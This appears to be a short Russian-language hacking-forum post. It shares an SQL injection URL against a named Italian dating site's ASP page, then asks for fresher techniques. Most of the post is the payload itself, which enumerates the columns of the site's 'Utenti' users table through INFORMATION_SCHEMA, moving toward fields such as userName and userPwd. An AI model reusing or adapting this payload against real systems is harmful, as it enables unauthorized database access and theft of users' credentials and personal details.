примерчик:

http://www.feliceincontro.net/incontri/foto/ContattoAnnIntNaz.asp?cod=2422+or+1=%28SELECT+TOP+ 1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHER E+TABLE_NAME=%27Utenti%27+AND+COLUMN_NAME+NOT+IN+% 28%27binary_message_body%27,%27cap%27,%27Cat%27,%2 7Categoria%27,%27cell%27,%27cod%27,%27conversation _group_id%27,%27conversation_handle%27,%27data%27, %27fax%27,%27figli%27,%27fragment_bitmap%27,%27fra gment_size%27,%27fuma%27,%27h%27,%27hob%27,%27id%2 7,%27Idc%27,%27ind%27,%27lingue%27,%27mail%27,%27m essage_id%27,%27message_sequence_number%27,%27mess age_type_id%27,%27nazione%27,%27newsCorpo%27,%27ne wsDataInserim%27,%27newsFoto%27,%27newsId%27,%27ne wsSospesa%27,%27newsTitolo%27,%27next_fragment%27, %27nome%27,%27occ%27,%27p%27,%27paese%27,%27patn%2 7,%27person%27,%27priority%27,%27prof%27,%27prov%2 7,%27queuing_order%27,%27regi%27,%27resp%27,%27ser vice_contract_id%27,%27service_id%27,%27skype%27,% 27stato%27,%27status%27,%27tel%27,%27titolo%27,%27 url1%27,%27url2%27,%27url3%27,%27url4%27,%27urlpic %27,%27userId%27,%27userLevel%27,%27userName%27,%2 7userPwd%27%29%29--

а что есть не из тухлых способов?